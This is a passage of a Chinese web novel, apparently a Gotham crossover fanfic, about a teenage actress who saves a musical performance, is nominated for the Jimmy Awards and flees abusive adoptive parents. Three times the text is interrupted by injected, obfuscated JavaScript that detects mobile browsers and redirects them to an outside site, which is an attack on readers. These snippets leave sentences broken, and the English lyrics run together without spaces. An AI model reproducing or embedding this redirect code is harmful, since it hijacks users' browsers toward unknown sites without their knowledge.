眼下整个剧院都起了骚乱,观众们的注意力全都被附近的干扰吸引走;台上的演员,维罗妮卡和几个群演,也很明显心不在焉,频频瞥向观众席。 台上台下都出戏,简直是地狱般的景象。 导演烦躁地揪住头发:“就不能把他们都请出去吗?” 引座员叹气:“没办法,偷拍的人实在太多了,而且很多人都是只拍一次,我们也不好定位......要开广播提醒观众吗?” “不,不能在演出的时候开广播,只能先暂停。”导演咬紧牙关,“但这样就是重大事故了——而且剧情正到关键处!” 剧情发展到红希德的恶作剧,试图带动维罗妮卡一起羞辱她的昔日好友,马上就要进入到下一首曲子。 台上只有红希德还在正常说词,其他人的心思明显都不在演出上,台词不像先前有感情,甚至有几次连走位都忘记了。 就算是水平拔尖的穆瑟尔,也没法兜住一场满是破洞的戏。 导演绝望地阖上眼睑。 ********* 台上的卡里亚也在和导演一样发愁。 但她不是愁的戏毁了,而是在愁该怎么救场能救得完美一点。 要是在前世,她一个人上台演出,伴奏只有一个钢琴师,那当然是随她发挥;但现在她要带着几个已经乱了阵脚的高中生,还得让台下的学生乐队和后台的灯光师领会到她的意图,实在是有点儿难度了。 如果不能让其他人跟上她的思路,那么最好的办法就是让他们在她救场时什么都不做,免得步调不一致,台上变得更加混乱。 至于如何确保所有人都按兵不动..... 最好的办法就是给他们来个惊吓,把他们唬愣在原地吧? 卡里亚突然福至心灵,一个大胆的点子在她脑中成型。 在脑海中快速模拟一遍后,她立刻付之于行动。 在卡里亚的对面,莎莉正在磕磕绊绊地说着台词,而这磕磕绊绊并不全是演出来的:“你、你们不能这样对她!你们这样会让她......会杀了她的!她——” “闭嘴!!!” 卡里亚大喝一声,打断了莎莉本该说完的台词,这声中气十足的叱责吓得台上的人全都定在原地,就连乐池里的电钢琴手都停住了。 而台下那些制造骚乱的人,也因为这句怒吼下意识地心虚,茫然地发不出声。 在一片鸦雀无声中,卡里亚一手叉腰,一手猛推莎莉的肩膀,把她的站位从侧身推成面朝观众。 卡里亚站到她身边,和她同样的面朝台下,一只手指放在莎莉的唇前,强硬地要她噤声。 接下来的台词本来是该面朝着莎莉说的,但这么一改动作,卡里亚接下来的词就变成了打破第四面墙,增加了对观众喊话的意味:在英语里,“you”是单复数同形,所以接下来的词理解成双重意思是完全行得通的。 “看来有人对我很有意见。 Arewegoingtohaveaproblem?” “你(们)是来找我麻烦的吗? Yougotabopick?” “你(们)好不容易到这里来了,怎么现在突然想惹我不爽? You''vesofar,Whynowareyoupullingonmydick?” 余光瞥见乐队的人还愣着,卡里亚毫不犹豫地夺走莎莉手里的道具笔记本,往乐池里一扔。 这个动作在剧情上完全说得通,因为红希德此时对维罗妮卡极尽蔑视,扔掉她的私人物品更能体现这一点; 而在台下,扔到脚边的笔记本让吉他手和键盘手终于回过神来,开始调整架势,做好了伴奏的准备。 看到一切正如她所预想的进行,卡里亚嘴角扬起一抹冷笑,伸出手在维罗妮卡的脸上轻轻拍了拍,颇有点杀鸡儆猴的意思。 “平常我早就一巴掌把你(们)的脸扇飞 I''dnormallyslapyourfaceoff” “当着所有人的面,让大家好好看看! Andeveryoneherecouldwatch” 但我今天心情不错,就给你(们)点建议—— ButI''mfeelingnice,Here''ssomeadvice” “——闭上嘴,听我说话! ——Listenandshutup!” 本剧人气最高的歌曲《糖果店》(candystore),前奏炸响全场! 整个剧场的风向为之一变。在这样一段兼具了恐怖和压迫的环绕立体声威胁后,任谁都会被唤醒本能的畏惧。 偷拍的也好,吵架的也好,不管先前再怎么肆无忌惮,此刻像是被拽住了狗链子,硬生生地被拉回到演出当中。 像是维罗妮卡一样,屈服在红希德的威压之下,假装刚才无事发生,拧着手指不发一言。 剩余的受害观众大为痛快,跟着发出“wooooohoooooo”的欢呼声,将赞美献给这首邪恶又美丽的曲子,献给如此完美的临场发挥,献给场上这位美丽又天才的希德·钱德勒! 原本盘算着对这些偷拍者小施惩戒的蝙蝠家和康纳,不由在心中默默赞叹她的心理素质:在短短几秒内做出了最精准、最恰当的判断,调动起整个演出团体的同时没有一丝慌乱,简直像是演了几十年的diva。 斯蒂芬妮很骄傲:看到没,我好姐妹厉害吧? 再看台上,剩余的演员们也找回了状态。有红希德这样的强势女王撑腰,谁会不感到安心呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049583|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄希德和绿希德各司其职,专心为红希德和声伴舞。 “我喜欢穿得火辣,买其他人买不起的名牌货。 Ilikelookinghot,buyingstufftheycannot” “我喜欢大口喝酒,再把我爸的信用卡刷爆。 Ilikedrinkinghard,maxingdad’screditcard” 康纳不由自主地再次拿这段演出和他熟悉的电影对比。 如果是电影的话,红希德这段有钱任性的发言应该配几个蒙太奇,展示一下她带小跟班扫街,再给她的豪宅和衣柜几个镜头。 但这里是舞台,一个处处受限的封闭空间,台上的道具还是那些寒酸的粗糙道具,甚至连个简单的换装都没有。 红希德能依靠的,只有灯光、妆造、歌舞。 她要用这些老套过时的东西来打动观众,让这些已经被网络和电影提高了感官阈值的人们相信,红希德是一个恶毒富家女。 ——她真的做到了。 看看她现在的样子!眉眼之间满是盛气凌人,浓妆艳抹充满了攻击性,向观众飞吻时的矫揉造作! 还有她的声音!她的声音充满了金钱的味道,唱出每一个音符都带着巨大的信息量——呼吸,强弱,音调,光是靠着唱句,红希德就能让所有人信服,她平时过的就是这样纸醉金迷的生活! “我喜欢逃体育课,吓唬女孩,调戏男孩 Ilikeskippinggym,scaringher,screwinghim” “我喜欢那种杀伤力满分的衣服 Ilikekillerclothes” “还有踹一脚书呆子的鼻子 Kickingnerdsinthenose!” 配合着歌词,三个希德一起来了个脚过头顶的高抬腿,同时保持住高音丝毫不乱,又是引发一阵尖叫和掌声。 这首歌的剧情是红希德劝诱维罗妮卡入伙恶作剧,但维罗妮卡已经隐藏到了角落的阴影里,让人看不清她的表情。 这是有意为之的安排,因为在这一刻,观众的想法已经和维罗妮卡同步了: ——希德她很刻薄,很讨人厌,但又如此的光彩夺目。她是不道德的,应该被拒绝的...... ——可是,如果给我一个机会的话,我也想试试看成为这种人! 万花镜一般的奢靡意象,让整个剧场都陷入了被洗脑一般的狂欢之中。 三个希德在气氛的最高点走上台阶,甩动长发,朝着观众招手,对着维罗妮卡,也是对着观众——她们的猎物——发出难以抗拒的危险邀请。 “亲爱的,你还等什么? Honey,whatyouwaitingfor? 欢迎来到我的糖果店, WeetomyCandyStore 现在是你证明自己不再是废物的时候了, Timeforyoutoproveyou''renotaloseranymore 快点踏进我的糖果店吧! AndstepintomyCandyStore!” 康纳感受到了一种奇妙的反差感。 他觉得很不可思议。 之前见到的那个女孩,傻里傻气,还很脱线,要不是脸长得还算可爱,绝对会被人贴上“怪胎”“呆子”的标签。 但看她在台上的样子.....说她每周都在自家豪宅里开泳池派对他都会信! 他用余光瞥向身侧的同伴。蝙蝠家的几人已经融入其他观众,连连叫好,一点都没有感受到违和的迹象,哪怕台上的卡里亚还是他们的熟人。 他们不是世界上最伟大的侦探的弟子吗?怎么这么轻易就被这些寒酸的道具布景,还有几句歌词就被蒙蔽了? 是因为剧场里的氛围?还是因为卡里亚太会骗人? 康纳想不明白。 没有人能给他答案。 “也许剧院里有什么看不见的魔法吧。” 打不过就加入,康纳放弃思考,抛弃批判或者审视的目光。 就当自己是一个普通的人类,纯粹地来观看这场演出好了。 ******* 《糖果店》得到了满堂喝彩,所有观众起立鼓掌,“bravo!”“eous!”经久不息。 可惜的是红希德死得太早,在《真正的我》(meinsideofme)之后就只能以恶灵的形态游荡在台上,没有更多歌曲了。 但她光是伫在那儿,就能让学生们找到主心骨,心无旁骛地完成演出。 之后的部分一切顺利,整场戏有条不紊地结束,直到谢幕。 这让后台提心吊胆的成年人们大大松了口气。 “真是太精彩了,你见过这么精彩的临场发挥吗!”编舞利贝嘉赞叹,“真想拿给那些以为《希德姐妹帮》有了官摄就没必要再来剧院的人看看,他们全都是白痴!这种神级现场能在屏幕里看到吗!” 剧场经理拿手帕擦掉额头上的汗:“有没有那么神我不知道,但起码她震住了那些偷拍者,让韦恩先生看得开心,光这件就功德无量!” 他去观众席看过了,只要是红希德上场的部分,先前那些偷拍者就会吓得缩成鹌鹑,生怕红希德真的跑下来,当着其他人的面给他们来个大比兜。 其实大伙儿心里都清楚,那些都是演的,演员不会真这么干......但心里就是很害怕啊! 譬如经理,已经不做学生好多年,但听到体育老师的哨声还是会忍不住双腿发软。 这种刻在本能里的对强权的恐惧是消不掉的,而红希德唤醒了这种恐惧。 经理是学酒店管理出身,不懂声乐上的太多知识,但以一个半专业的观众角度来看,他觉得这个叫穆瑟尔的女孩演得很好,比他见过的很多专业老演员都要好。 他拍拍导演的肩,呵呵笑道:“bro,你这回可是捡到宝了!” 导演嗯了一声,仍未从震惊中回过神来。 卡里亚·穆瑟尔又一次刷新了他的认知。 他是叫她帮忙在场上兜着点,但没想到她这么能兜!简直比那个日本蓝机器猫的口袋还能兜! 他原本想着,等穆瑟尔高中毕业后就邀请她来自己的麾下,他可以让她一步到位做女主角,给未来的当家花旦一切资源,把她捧成新泽西州最好的舞台演员。 如今这个规划,恐怕要打上一个大大的问号了。 他的水平,真的能配得上这样一个异次元级别的天才吗? 12. 意想不到的offer 在这之后,沃克斯豪尔剧院专门在门口贴上了“禁止摄像,违者请离”的牌子,外加没了布鲁斯·韦恩出席,剩下的两场再也没出乱子。 最后一场演出结束是在周日下午,因为导演被起哄着请客开afterparty,不少学生演员都留在后台,等着剧组的大人们指挥拆卸完道具,开车带他们去餐厅。 休息室里,等待参加派对的演员们都已经卸完妆,换上日常穿的衣服,在等待的间隙里边吃零食边聊。 零食主要来自观众——也就是学生们的亲友家人——在散场后的赠送,因为有演员花粉过敏,因此剧院特别提示禁止送花到后台。 不能送花,送玩偶又太幼稚,结果变成了大型集体投喂现场,休息室的桌子上满满当当地堆着巧克力、薯片、爆米花等等。 到最后也分不清谁是谁的,干脆大家分而食之。 而这其中,斯蒂芬妮和她朋友们送的小甜饼最受好评。 莎莉一手刷ins,另一只手伸到袋子里捏起一块小甜品:“太好吃了我的天,这个甜饼没有太甜,味道刚刚好!” 杰克·道奇也往嘴里塞了一块:“是很好吃,你朋友在哪里买的?” “这是斯蒂芬——就是我朋友——认识的一个英国爷爷做的,说是家族秘方,概不外传。” 莎莉点点头:“英国人啊,那难怪了,也只有美国人喜欢放致死量的糖。” 说着,她还给小甜饼袋子上的蝙蝠封口夹拍了张照,顺便提议道:“我们ins都互关一下吧,我朋友说她拍了好多谢幕照,还有剧院里的一些照片,我们之后可以共享!” 本次的演出,因为是基金会举办,带了些正式性的意味,因此不能像普通高中生音乐剧那样随意允许录像。 加上牵扯到未成年人出镜,因此只拍摄了内部用来存档的视频,其他人,包括演员在内,只能拍拍谢幕时候的照片了。 卡里亚点点头,起身去拿便签本:“我先把你们的账号记一下,等我下个月的月度套餐到了再加你们!” 另外两人差点把嘴里的甜饼渣喷出来:“不是吧,这么节省?” 卡里亚:“哦,因为我的领养人只给我开了最低限度的运营商套餐,我平时还要接收他们的指令,要是套餐超额的话会被骂的。” 两个出身自中上阶级家庭的小孩,一时间无话可说。 这是什么现实版的悲惨世界加雾都孤儿啊! 虽然听说过哥谭的贫富差距很大,但没想到这么夸张!而且有这样一个活生生的例子在他们眼前! 杰克的表情千变万化,最后一言难尽道:“我给你开个热点,你先把ins加上,再把图存了。我流量多,随便用,不用省!” 莎莉则是往卡里亚嘴里塞了一颗松露巧克力:“这几天你扛着全场,累坏了吧,来多吃点!” 卡里亚并未注意到两人像是胃部被打了一拳的复杂表情,高高兴兴地接受了来自同伴的好意。 他们也吃了她的甜饼,礼尚往来不是很正常吗? 趁着有热点可以蹭,卡里亚顺便刷刷ins上的观剧repo。 大部分帖子都提到了她的红希德在场上表现亮眼。 【@theatrenerd:红希德的高音唱得我头皮发麻!现在高中生都这么强了吗,建议百老汇的导演和制作人们都来看看,这不比某个《悲惨世界》的马吕斯要好多了?】 【@请剧院还我血汗钱:某些人不要拿她和小神马比,小神马要吃十个CD机才能赶上红希德,请不要跨次元作比较谢谢。】 【@做梦都想坐一排一:看的时候觉得红希德演得那么轻松,我上我也行,结果回家一扒舞,差点在高抬腿的时候断气.....你们音乐剧演员是有几个肺啊?】 【@我爱希德:@BruceWayne布鲁西你糊涂啊,怎么不把录像放出来!红希德应该成为全国高中生音乐剧演员的教学范本!】 【@今天抽中lottery了吗:太可惜了,这些演员竟然不来stagedoor和观众营业,我想要红希德的签名和合影!这姑娘以后一定会大红大紫的,给我一个提前入股的机会好吗?】 卡里亚给这些帖子都点了赞,甚至还收到了几个人的火速关注,而她也不吝啬地回关,本来只有斯蒂芬妮和同校学生的列表,瞬间热闹起来。 再往下刷时,她看见了一条不太一样的动态。 【SuperCK:第一次看舞台剧,布景简直是超乎想象的简朴,看完后我很想问问戏剧行业的人,为什么不试着用全息投影仪,轻松就能一比一复制学校场景,需不需要我赞助一个? 不过红希德的表现不错,第一场看到的临场发挥也很有意思,没有浪费我在剧院里的几个小时,这次来哥谭算是不虚此行。】 真没礼貌! 卡里亚最讨厌的就是现在这种用科技代替人工设计的想法! 舞台布景是一种删繁就简、高度“写意”的艺术。在现场观剧时,观众的脑子里会接受各种立体化的信息,比看手机屏幕要费脑多了,那么舞台布景自然不能太复杂,以免分散观众注意力,削弱剧情和演员的表现力。 好的布景,能用最简单的设计浓缩出所有想要传达的信息。 《龙猫》的羊毛毡森林场景简单却不失童话感,《芝加哥》只靠六把椅子就能跳监狱探戈大群戏,《汉密尔顿》能把一个转盘玩出好几种花样.... 给投影仪输入几行数据,简简单单弄个还原现实的场景出来,那才叫不动脑子呢! 看这个叫什么“SuperCK”的ins似乎点赞数挺多,卡里亚本想到评论区和那个自大的家伙辩辩经,但转头一想,互联网上的事没必要太当真,这种人也不会是音乐剧的目标受众,没必要为了这种没品味的家伙浪费自己的时间。 点击右上角,果断拉黑! 她本想把这个帖子当笑话将给莎莉和杰克听,但此时场务推门进来,说是导演喊她上楼一趟,这件事就这么被她抛在脑后,不留一丝痕迹。 演出都结束了,还专门叫她过去干什么? ……总不能是要去训斥她当时对观众放狠话,要扇他们耳光吧! 卡里亚有点紧张地打开经理办公室的大门,发现剧组里最有说话分量的几个人竟齐聚一室,编舞、导演、剧场经理,还有一个不认识的胖男士,正襟危坐地等她到来。 “穆瑟尔小姐。”穿着浮夸的陌生人装模作样地清清嗓子,“把你叫来这里,是有一件事想和你们商量——虽然我觉得你一定会同意——当然,在说具体内容之前,穆瑟尔小姐我想请你记住,做出这个决定其实是有失妥当的,要不是利贝嘉小姐一再推荐你,并且韦恩先生前几天也夸了你的话,我本来是不想——” 卡里亚看到他背后的导演和经理翻了一个大大的白眼。 利贝嘉更是不惯着他,直接打断他打官腔。 “本来是不想同意的!所以卡里亚你一定要好好感谢这位先生,他想代表韦恩艺术教育基金会推荐你去参加今年的吉米奖!” 耶稣啊!缪斯啊!狄俄尼索斯啊!莎士比亚啊! 她这是被全世界和戏剧沾边的神给赐福了一遍吧!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059066|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吉米奖,全称“全美高中生音乐剧戏剧奖”,由百老汇仅次于舒伯特集团的第二大剧院商,尼德兰组织举办,以组织的上一位领导人、现任主席的父亲,詹姆斯(昵称吉米)·M·尼德兰先生的名字命名。 吉米奖的候选人由全国几十个洲的地方性奖项选出,每个奖项推荐一男一女,将在六月底托尼奖典礼结束后前往纽约曼哈顿区,经过一星期的培训后登上百老汇的舞台,全网直播比赛现场,在一晚内决出胜负。 每年的比赛都会由百老汇的当红明星主持,资深行业人士评委,甚至现任尼德兰组织的主席也会亲临现场。 冠军自不必说,哪怕是八强选手也能得到很好的曝光机会,直接拿百老汇音乐剧的offer也是极有可能的! 看看吉米奖都捧红过哪些人吧: 伊娃·诺布尔扎达,入选吉米奖八强,高中毕业后直接到伦敦西区当了女主角,后面还出演了《冥界》(hadestown)、《歌厅》(cabaret); 蕾妮·拉普,吉米奖最佳女演员,毕业后接连演了《贱女孩》的音乐剧和电影; 瑞安·麦卡坦,《希德姐妹帮的》初代JD,同样也是一位吉米奖得主..... 吉米奖比赛每年都会有六位数的观众收看直播,不少百老汇的制作人和导演也会想办法要一张门票,到现场为自家剧目物色人才,每年百老汇的上新剧目里都会见到几个在吉米奖亮相过的年轻演员。 说吉米奖是百老汇直通车,也绝不为过! 在听到“吉米奖”这个词的时候,卡里亚几乎能看到彩带和气球在她四周飞舞,甚至能听到缪斯女神和小天使在她耳边唱歌。 幸福的洪流将她吞没,哪怕是在发现自己重生时,她也没有感受到这样做梦一般的幸福! 如果能站上吉米奖的舞台,那么她的简历上会多出金光闪闪的一笔。 哪怕拿不到冠军,整个奖项里也会选出十几个各种各样的奖学金得主。只要能摘得其中一顶桂冠,她就不用再盘算着端盘子养活自己,可以更早地作为专业演员站上舞台,在她的黄金年龄能少走多少弯路! “谢谢你们,谢谢你们能给我这个机会!这真的是我这十几年里听过的最好的消息!” 卡里亚难掩激动,想说更多的感谢之语,但此刻已然语无伦次,干脆直接上前和几个大人一一拥抱过。 就连那个看起来很嫌弃的高官也和她虚虚抱了一下,虽然嘴里还说着“可别给韦恩先生和新泽西州丢脸”之类的鬼话,但此刻在卡里亚听来是那么的悦耳! 利贝嘉把一个袋子交给卡里亚:“吉米奖的比赛可能会要你在台上扮演你在地方音乐剧里的角色,希德·钱德勒的衣服你就带回家吧,一套睡衣和一套校服,都已经给你干洗熨烫完了。之后你也可以留在身边做个纪念!” 卡里亚紧紧抱住那个鼓鼓囊囊的纸袋,用力点点头。 之后的聚餐里,其他学生也纷纷表示祝贺。 候选人一男一女,杰克·道奇是早就被定下来的,得知是卡里亚和他一起去纽约,熟人之间互相照应,不由得安心许多, 莎莉作为女主没被选中,但也心服口服,只要求卡里亚或者杰克给她留一张比赛的门票,她要去纽约给他俩加油助威。 回到家后,她不忘在睡前向斯蒂芬妮汇报这个好消息,斯蒂芬直接兴奋地打电话过来:“太好了,你这几天可得好好练练签名,大家都想提前投资呢!” 那晚,卡里亚带着幸福的笑意入睡。 第二天醒来时,招呼她的是盖伦夫人一记用尽全力的耳光。 13. 离家 “简直不是人,再怎么也不能打孩子的脸啊!” 诊所里,克莉斯特尔·布朗心疼地拿着药水,轻轻涂抹在卡里亚脸颊的红肿处,表情比卡里亚这个被打的还要痛心。 一旁的斯蒂芬妮拿着手机,绕着卡里亚拍了好几十张照片,确保伤情被准确无误地记录下,来日能成为呈堂证供。 “那一家子就是吸血鬼吧!”斯蒂芬边拍边骂,“不为你高兴就算了,怎么还动手打人!他们就是见不得你好,想要你一辈子给他们做牛做马!” 卡里亚纠正:“其实他们不知道我要去比赛的事。” 斯蒂芬惊讶:“他们不知道?那为什么.....?” 卡里亚回答:“哦,他们看我这段时间回家都比较晚,起了疑心,昨天趁我睡觉翻我包,发现了红希德的睡衣戏服。他们以为我去做援助交际了。” 盖伦夫妇的怒吼声,还有抄起地下室的杂物往她身上砸的噪音,还依稀在她耳边回声。 ——我们是少你吃还是少你穿了,你怎么可以做这么丢脸的事?! ——孤儿院出来的就是有劣根性,就算到了正派人家里也不能改好! ——滚远点,别把脏病传给尤利! ——滚出去,我不想在我的家里看到一个*女! “所以,”卡里亚无所谓地耸耸肩,“我就按照他们要求的滚出来了。” 她在那个地下室的东西不多,真正重要的东西,比如钱,戏服和证件,她早就拜托斯蒂芬妮帮忙存着,随便往包里塞几件衣服书本就跑了。 对于被赶到大街上这件事,卡里亚其实不怎么在乎。 她对家庭还有亲缘关系没什么渴望,上辈子她十岁就开始跟着剧团走南闯北,一个提包就是全部家当,万事靠自己。 除了脸上这点伤,盖伦夫妇对她造成的伤害基本为零。 但她不在意,不代表别的人就不在意了 布朗家母女气得眼睛发红,“报警,立刻报警,而且CPA(ChildrenProtectionAssociation儿童保护协会)也得介入!一家子的人渣!” 卡里亚赶紧拦住:“不行,暂时还不能这么做!” 她将其中的利害关系分析给两个关心她的人。 哥谭市高中的暑假从六月上旬开始,距离期末考试还剩不到一个月,在这个期间她还要抓紧时间准备吉米奖:选曲,练习,观看历年比赛视频等等。 等暑假开始,她就要出发去纽约,行程表没有一点空闲。 如果在这个期间,她被领养家庭的事绊住脚步,比如在集训期间被要求出席法庭,或者要去CPA和领养人一家无休无止地扯皮——盖伦夫妇第一次想弃养时,她就领教过那些麻烦事了——导致她没法正常比赛,那才叫因小失大呢! “我打算这段时间先找个地方住着,利贝嘉小姐,就是我这次比赛的指导老师,说我可以住到钻石区她家里去。”卡里亚指指斯蒂芬妮的手机和克莉斯特尔手上的验伤报告,“先把我遭受虐待的证据保留好,等尘埃落定再慢慢算账。” 有了这些证据,她的出逃可以被认定成避险行为,完全正当,不会给帮助她的人带来任何麻烦。 盖伦夫妇大概也不会主动去找她,巴不得她别回来浪费粮食呢。 哪怕他们知道了卡里亚要去参加吉米奖,想报警找她回来,GCPD也很难派上用场:阿卡姆那堆精神病就够他们忙了,谁还有空去管什么青少年啊? GCPD帮盖伦夫妇找到卡里亚,只有两种可能:卡里亚自己脑袋抽了跑回家,或者她作为青少年罪犯被录入警局的档案库。 学校那边也不用愁,她可以用准备吉米奖为理由请一个月的假,她平常成绩和操行评分也不错,最后参加期末考试就可以了。 期末考试结束后她可以翻墙溜走,盖伦夫妇在校门口绝对堵不到她。 种种可能性,卡里亚在决定出逃的那一刻就已经盘算好了。 听过她的缜密分析,布朗家母女的怒火也慢慢平息。 她都已经给自己规划好了后路,那么她们只要配合她的行动即可。 克莉斯特尔摸摸她的脑袋:“才这点年纪就跟个小大人似的,平时在家都过的什么日子!” 斯蒂芬妮拉住卡里亚的手:“都按照你说的办,但有一点我要纠正——你要住到我们家里来,万一发生什么事情,我可以保护你!” **** 利贝嘉家里人口众多,家庭成员关系复杂,本来也不太适合多收留一个离家出走的女孩,如今卡里亚打电话说要住到信得过的朋友家里,朋友母亲还是专业的护士,利贝嘉叮嘱她几句后就任由她自行安排。 卡里亚当晚就拎包去了布朗家的公寓。 公寓靠近郊区,面积不大,但很温馨,母女俩把客厅沙发收拾出来,足够卡里亚舒舒服服睡上一觉。 斯蒂芬妮给了卡里亚几件旧衣服,克莉斯特尔则送给她一部旧手机,以免养父母靠追踪ip地址找到她。 这些好意不能白白收下。卡里亚算了算去纽约的开支,刨去这些必须的部分,从奖学金里数出三千美元,算是交给布朗家的食宿费。 克莉斯特尔没有推辞,大方收下,并告诉她可以想住多久住多久。 用了布朗家的神秘药膏,加上这几天吃好睡好不用他做家务,卡里亚脸上的伤痕消肿很快,等到第三天,她就被克莉斯特尔开车送去利贝嘉的工作室上课了。 老熟人杰克·道奇也在那里。他和卡里亚不一样,上的是那种精英私立学校,本学期主修大学预备课程,早早期末考试完,安心备赛。 虽然是上课,但气氛更像下午茶。 利贝嘉给两个学生一人倒了一杯洋甘菊茶,三人围坐在橡木古董咖啡桌旁边,一起浏览电脑上打开的吉米奖官方网站。 “新泽西州是第一次参赛。”利贝嘉叹了口气,“虽然我们已经尽可能调动人脉,但很多事情还处于两眼一抹黑的状态。” 这其中有着很复杂的原因。 四十多个能参加吉米奖评选的地方奖学金,是要经过官方审核的。这个很好理解,不可能随便来个野鸡奖,搞得什么人都能上百老汇了。 而这个审核,是要经过百老汇联盟认证的。 百老汇联盟虽然说是“包含了多个北美城市的剧院和经营者、制片人和经理组成的行业协会”,但本质是由百老汇的三巨头,舒伯特、尼德兰、朱贾姆辛把控。 有了这三巨头坐镇,百老汇联盟行事相当自主,很多事情不对外公开,行业内也没人质疑——让大臣查皇帝,谁有这个胆子? 而这些不对外公开的事情里,就包含了吉米奖授权的地方奖学金认证。 奖学金由谁主办,金额多少,评选范围需要多广,需要有哪些专业人士,完全没有量化的标准,一切都包含在一句暧昧的“最终解释权归百老汇联盟所有”,新泽西州就这样被卡了许多年。 作为毗邻纽约州的地区,照理来说两州之间应该互通有无。同样和纽约州接壤,宾夕法尼亚洲、康涅狄格州还有马萨诸塞州,都有经过认证的奖学金项目,宾夕法尼亚州甚至还有好几个。 新泽西州的剧院行业也不比这几个州差,这种障碍很明显是有意为之。 杰克疑惑:“为什么?” 利贝嘉苦笑一声:“你们知道''冰票''吗?” “冰票”,在某些地方又被称为“黄牛票”。 在剧票供不应求的情况下,当有人愿意花两百元买一张一百元的门票时,必然会出现票务腐败。 几十年前还没有网络购票的时候,票都是纸质票。售票处的工作人员抽出那些黄金位置的票券,登记为卖出,再加价交给二手票贩子,票贩子再以更高,有时候甚至会高出两三倍的价格转售。 一切都是现金交易,所以无法追踪——就像冰一样,无声无息地融化了。 在冰票最泛滥的冰河时代,也就是上世纪六十年代,甚至出现了剧票全部售罄、但实际观众席寥寥无几的荒诞场景,因为票全都在票贩子手上! 这件事后来被彻底曝光,票务系统上下勾结的腐败情况引起了行业震动。 甚至最终调查显示,这些“冰”最终还会流向百老汇的最大地主,舒伯特组织的创始人舒伯特家族。 靠冰票赚到的差价会被装在一个厚厚的信封里,每周一在高管的办公室里被瓜分,人人有份。 这件丑闻的影响可想而知。 《音乐之声》《国王与我》的作曲,美国音乐剧行业的祖师爷人物,理查德·罗杰斯带头发声,抗议这种灰色收入完全被剧院方占为己有,制作人、编剧和导演的劳动成果成了非法牟利的工具,明明他们才是为戏剧付出最多的,却没有得到任何回报! 翻译一下就是,“赚钱不带别人玩儿,那就别怪我们撕破脸了!” 最后,还是舒伯特集团推了一位高管出来做替罪羊,裁员大量票务系统的员工,并宣称“非常震惊,我们从来不知道有冰票这种东西存在”,这件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071109|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才在表面上有了个交代。 剩余的高层私下里还要安抚那些暴怒的投资人和作曲家,给予他们各种补偿,联合媒体拼命公关挽回口碑,还要找国税局交罚款,舒伯特组织大大地出了一次血。 问题来了,是谁这么大胆,敢在皇帝头上动土? ——当然是纽约市司法部,你滴祖宗爷爷! 检察院和法院联合出击,援引一项几乎无人知道的法律:关于转售门票,经纪人(票贩子的好听说法)的加价限制为1.5美元15美分,就是为了防止现金交易无可追踪,有个别票贩子赚了差价后偷税漏税。 在阿美利卡,买卖枪械可以,但偷税漏税绝对不行! 在这次大清洗后,大部分的票贩子都失去了原有的渠道,起码在纽约州是不敢明目张胆地倒卖剧票了。 那么他们的大本营搬去哪里了呢? “离纽约最近的新泽西!” 杰克和卡里亚异口同声喊道。 利贝嘉点点头:“是的,新泽西州后来成了票贩子的聚集地。那起事件后,百老汇联盟要求新泽西州也跟进立法,打击冰票,但不知道为什么一直没有回应——天知道那些议员怎么想的——所以,即便这项限制转手门票的法案在十几年前被废除了,结下的梁子,还有偏见,可不是那么好解开的。” 虽然在赚钱这种大是大非的问题上不能带个人情绪,但在小地方恶心恶心你们新泽西州还是可以的! “要不是有韦恩先生的钞能力,可能基金会在吉米奖申报上还会被卡。” 杰克在胸口划了个十字:“感谢阔佬,你的慷慨赐给了我们戏剧行业无上福运,阿门!” 利贝嘉扑哧一笑:“行了,别嘴贫了!和你们说这么多,是想要你们知道为什么几乎没有内部消息,一切只能靠我们自己研究。下面要说日程安排,你们可得记好了。” 利贝嘉双击鼠标,调出来一份时间表。 “集训加比赛,一共是一星期的时间。第一天就会告诉你们分组结果。 “比赛的上半部分是群戏,会把你们分成两组,一组是专门为选手定制的组曲,八人一首组曲,一共有四首,每人能有一分半钟的独唱,表演自己在获奖剧目中的角色——卡里亚是希德,杰克是JD,你俩的戏服千万要保管好。 卡里亚和杰克用力点点头。 “另一组的运气就不好了,全组所有人表演一出歌曲串烧,六十几个人,每人只有一两句的独唱,少得可怜。这部分只能听天由命,毕竟四首组曲可不是随便就能写的,得优先照顾编曲家的脑细胞。 “你们最近可一定要做好孩子,不要忘记睡前祈祷,ok?” 杰克赶紧点头:“那必须的,没人比我更虔诚了!” 卡里亚:“可你刚才还对韦恩阔佬说阿门唉。” 杰克:“.....我相信上帝他老人家没有听到!” 利贝嘉继续道:“分组出来后,你们会正式开始集训,分别接受指导,为比赛时的演出做准备。打分会从这时候开始,千万要表现好一点,给你们的老师留个好印象! 